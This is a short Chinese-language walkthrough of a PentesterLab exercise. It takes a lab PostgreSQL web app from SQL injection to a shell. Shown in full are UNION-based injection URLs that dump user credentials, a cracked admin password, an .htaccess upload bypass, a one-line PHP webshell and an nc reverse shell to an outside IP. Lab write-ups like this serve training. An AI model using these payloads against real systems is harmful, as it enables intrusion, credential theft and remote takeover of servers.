PentesterLab-From SQL Injection to Shell: PostgreSQL edition
阿新 • • 發佈:2018-09-18
反彈 injection 無法 www 圖片 img ase 分享圖片 類型
一、打開頁面,隨便點了幾下,返現和From SQL Injection to Shell差不多,直奔主題開始註入
由於PostgreSQL與MySQL不同,幾個關註點需要註意下
二、order by下看看有幾個字段
/cat.php?id=1%20order%20by%204 #order by 4正常,5出現報錯,說明有4個字段
三、查看註入點在什麽位置,這裏與MySQL不同的是,不能再用select 1,2,3……的方式去探測,要改用null,因為PostgreSQL對類型限制很嚴格
http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null
發現只有第二個字段可以出來東西,註入點在第二個字段
四、查看當前庫名
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205
五、查看表名
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0
六、查看各個字段,遍歷offset
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202
得出有login和password
七、直接通過拼接字符串,讀取數據
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users
八、MD5解密後,為admin|P4ssw0rd,直接登錄後臺進行上傳
九、上傳時發現,改後綴名為php3,Content-Type,加入圖片文件頭都無法成功上傳,查詢教程後得知,可以通過.htaccess來進行繞過
十、先編寫一個.htaccess文件,內容為一下內容,進行上傳
AddType application/x-httpd-php .blah
這個文件的意思是告訴apache,把.blah後綴的文件按照php進行解析
十一、在上傳shell,不過這次shell不是.php後綴名,而是.blah
<?php system($_GET[‘cmd‘]) ?>
十二、查看源代碼,得知上傳位置,直接訪問上傳的webshell,進行shell反彈
http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash
PentesterLab-From SQL Injection to Shell: PostgreSQL edition